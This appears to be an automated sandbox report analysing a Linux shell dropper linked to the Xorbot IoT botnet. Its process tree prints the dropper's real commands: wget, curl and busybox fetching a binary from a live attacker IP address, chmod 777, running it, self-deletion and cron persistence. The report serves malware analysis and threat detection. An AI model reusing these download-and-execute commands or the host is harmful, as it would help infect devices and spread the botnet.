Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29/01/2025, 12:42

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250129-pxbtysykat
  • SHA256 784a6119a856ef99cacdb6c150ca74ca9c3253d67c56cc01c924c7aa52121dfb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1980) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:638
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:640
      • /usr/bin/wget
        wget http://94.154.35.94/bins/AYKGCG8CMDqcHVN1p4GJXgs3lkarhhukK4
        2⤵
        • Writes file to tmp directory
        PID:643
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/AYKGCG8CMDqcHVN1p4GJXgs3lkarhhukK4
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:667
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/AYKGCG8CMDqcHVN1p4GJXgs3lkarhhukK4
        2⤵
        • Writes file to tmp directory
        PID:671
      • /bin/chmod
        chmod 777 AYKGCG8CMDqcHVN1p4GJXgs3lkarhhukK4
        2⤵
        • File and Directory Permissions Modification
        PID:679
      • /tmp/AYKGCG8CMDqcHVN1p4GJXgs3lkarhhukK4
        ./AYKGCG8CMDqcHVN1p4GJXgs3lkarhhukK4
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:680
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:683
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:684
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:686
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:687
            • /bin/rm
              rm AYKGCG8CMDqcHVN1p4GJXgs3lkarhhukK4
              2⤵
                PID:700
              • /usr/bin/wget
                wget http://94.154.35.94/bins/xjCFBdg2uAJM3CDzn8qOMZdSax6BMzQric
                2⤵
                  PID:704

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    AYKGCG8CMDqcHVN1p4GJXgs3lkarhhukK4

                    • Path /tmp/AYKGCG8CMDqcHVN1p4GJXgs3lkarhhukK4
                    • Size 119KB
                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                    • MD5 SHA1 SHA512 SSDEEP

                    tmp.3Xkt16

                    • Path /var/spool/cron/crontabs/tmp.3Xkt16
                    • Size 210B
                    • SHA256 c678a4a8f9f10c6bc3346373452f5d33c836e2dc205a9698606ebb0f62d794b8
                    • MD5 SHA1 SHA512